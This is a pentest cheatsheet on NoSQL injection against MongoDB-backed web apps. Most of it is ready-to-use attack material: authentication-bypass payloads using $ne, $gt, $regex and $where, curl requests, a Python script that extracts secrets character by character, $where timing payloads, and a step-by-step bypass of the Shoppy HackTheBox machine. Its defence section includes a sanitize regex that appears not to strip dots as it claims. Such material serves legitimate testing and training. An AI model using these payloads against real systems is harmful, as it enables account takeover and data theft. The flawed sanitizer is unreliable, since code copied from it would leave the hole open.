⬅ IndexCheatsheets

NoSQL Injection — Quick Reference

TitleNoSQL Injection — Quick Reference
CategoryCheatsheets
DescriptionNoSQL injection: payload-uri MongoDB, operatori ($ne, $gt, $where), bypass de autentificare și exfiltrare de date.
Updated2026-08-17

NoSQL Injection — Quick Reference


TL;DR — When You See This

NoSQL injection appears when an app (usually Node.js/Express + MongoDB, sometimes PHP + MongoDB/CouchDB) builds a query directly from user input — typical in:

Two flavors:

Flavor Where Goal
Operator injection JSON body / query string / PHP arrays Bypass auth, tamper with query logic
Syntax / $where injection Fields evaluated as JS ($where, mapReduce, db.eval) Boolean oracles, timing, RCE

1. Detection

Send these and compare responses (login works / error changes / timing differs):

# 1. Basic tamper — normal
{"username": "admin", "password": "admin"}

# 2. Operator injection — if login succeeds with $ne, it's NoSQLi
{"username": {"$ne": null}, "password": {"$ne": null}}

# 3. Malformed JSON / quotes — error reveals the DB
{"username": "'", "password": "'"}
{"username": {"$where": "1"}, "password": {"$where": "1"}}   # JS eval check

# 4. Type confusion — send an ARRAY where a string is expected
{"username": ["admin"], "password": ["admin"]}

# 5. Timing — $where with a busy loop (3s delay = JS is evaluated server-side)
{"username": {"$where": "function(){ var d=new Date(); while(new Date()-d<3000){} return true; }()"}, "password": {"$ne": "x"}}

Note: $where JS runs on the DB server — it has no sleep(), use the busy-loop
pattern above for timing, or a heavy $regex ("a.*a.*a.*...") for regex-based timing.


2. Auth Bypass — Payload Library

JSON body (Content-Type: application/json) — the common case

{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": {"$ne": "x"},  "password": {"$ne": "x"}}
{"username": {"$gt": ""},   "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
{"username": {"$in": ["admin", "root"]}, "password": {"$gt": ""}}
curl -s http://target/login -X POST \
  -H 'Content-Type: application/json' \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}'

URL-encoded query string (Express / PHP apps)

username[$ne]=x&password[$ne]=x
username[$gt]=&password[$gt]=
username[$regex]=.*&password[$regex]=.*
curl -s 'http://target/login' -X POST -d 'username[$ne]=x&password[$ne]=x'

PHP array syntax (application/x-www-form-urlencoded, PHP backends)

PHP converts username[$ne] into an array → if the app passes it straight into
the MongoDB query, the $ne operator survives:

username[$ne]=x&password[$ne]=x

Login as a SPECIFIC user

{"username": {"$eq": "admin"}, "password": {"$ne": "x"}}
{"username": "admin", "password": {"$ne": "x"}}

3. MongoDB Operators Quick Table

Operator Meaning Bypass use
$ne not equal {"$ne": null} — match any doc where field ≠ null
$gt / $gte greater than (or equal) {"$gt": ""} — match any non-empty value
$lt / $lte less than (or equal) range filters
$in / $nin in / not in array {"$in": ["admin"]}
$regex regex match {"$regex": "^a"} — blind extraction oracle
$exists field exists {"$exists": true}
$where JS expression eval boolean oracle, timing, RCE (older versions)
$and / $or logical chain conditions

4. Blind Extraction — $regex Boolean Oracle

When you can't see data but the response differs (login OK vs not), extract
character by character:

import requests, string

url = "http://target/api/search"
charset = string.ascii_lowercase + string.ascii_uppercase + string.digits + "_-{}@."

def oracle(pat):
    """Return True if the regex matches (app behaves differently)."""
    body = {"username": {"$regex": f"^{pat}"}, "password": {"$ne": "x"}}
    r = requests.post(url, json=body)
    return "Welcome" in r.text          # <-- adjust to your oracle marker

secret = ""
while True:
    found = False
    for c in charset:
        if oracle(secret + c):
            secret += c
            print(f"[+] {secret}")
            found = True
            break
    if not found:
        break

print(f"[*] extracted: {secret}")

Notes:
- ^ anchors the start — {"$regex": "^admin"} matches docs starting with admin
- Escape regex metacharacters in the charset (\., \-, \{) if they appear in the target value
- Same technique works on search endpoints: ?username[$regex]=^a.*


5. $where — JavaScript Injection

If $where is evaluated, you get full JS inside the query:

// Boolean oracle
{"username": {"$where": "this.username == 'admin'"}}
{"username": {"$where": "this.password.length > 10"}}

// Timing (server-side JS runs — proves eval + enables time-based blind)
{"username": {"$where": "function(){ var d=new Date(); while(new Date()-d<5000){} return true; }()"}}

// Brute-force a value field-by-field (JS-style)
{"username": {"$where": "this.username[0] == 'a'"}}

RCE via $where / db.eval depends on MongoDB version (SpiderMonkey sandbox,
historical CVEs like CVE-2013-1892). On modern versions, treat $where as a
powerful boolean/timing oracle, not guaranteed RCE.


6. Worked Example — Shoppy-style (HTB) Login Bypass

Target: http://shoppy.htb/login — Node.js/Express + MongoDB.

# 1. Normal request fails
curl -s http://shoppy.htb/login -X POST \
  -H 'Content-Type: application/json' \
  -d '{"username": "admin", "password": "admin"}' | head

# 2. $ne bypass → logged in (redirect / 200 with dashboard)
curl -s http://shoppy.htb/login -X POST \
  -H 'Content-Type: application/json' \
  -d '{"username": {"$ne": null}, "password": {"$ne": null}}' -i | head

# 3. After login: search endpoint often vulnerable too — enumerate users
curl -s -b 'cookie.txt' 'http://shoppy.htb/admin/search-users?username=admin'
curl -s -b 'cookie.txt' 'http://shoppy.htb/admin/search-users?username[$ne]=x'

# 4. Dump all usernames with $regex (blind oracle on the search results)
curl -s -b 'cookie.txt' 'http://shoppy.htb/admin/search-users?username[$regex]=^j'

Takeaways from the box: the login bypass gives you the admin panel, and the
search endpoint is usually the better injection point for data extraction
(user enumeration → creds → SSH).


7. Tools

# NoSQLMap
git clone https://github.com/codingo/NoSQLMap /opt/nosqlmap
cd /opt/nosqlmap && pip install -r requirements.txt

python nosqlmap.py --url 'http://target/login' \
  --method POST \
  --data '{"username":"x","password":"x"}' \
  -p username

# Manual: Burp Suite Repeater + the payload library above is usually enough
# (JSON tab → send → compare responses; Intruder for $regex character brute)

8. Defense (Know the Fix)

// Node.js — DON'T pass req.body straight into the query
db.users.findOne({ username: req.body.username, password: req.body.password }); // ❌

// DO — validate types + use the ODM (mongoose) safely
if (typeof req.body.username !== 'string' || typeof req.body.password !== 'string') {
  return res.status(400).send('invalid input');
}
db.users.findOne({ username: req.body.username, password: req.body.password }); // ✅ strings only

// Strip operator keys ($, .) from input before it reaches the DB
const sanitize = (o) => JSON.parse(JSON.stringify(o).replace(/\$|\\./g, ''));

9. References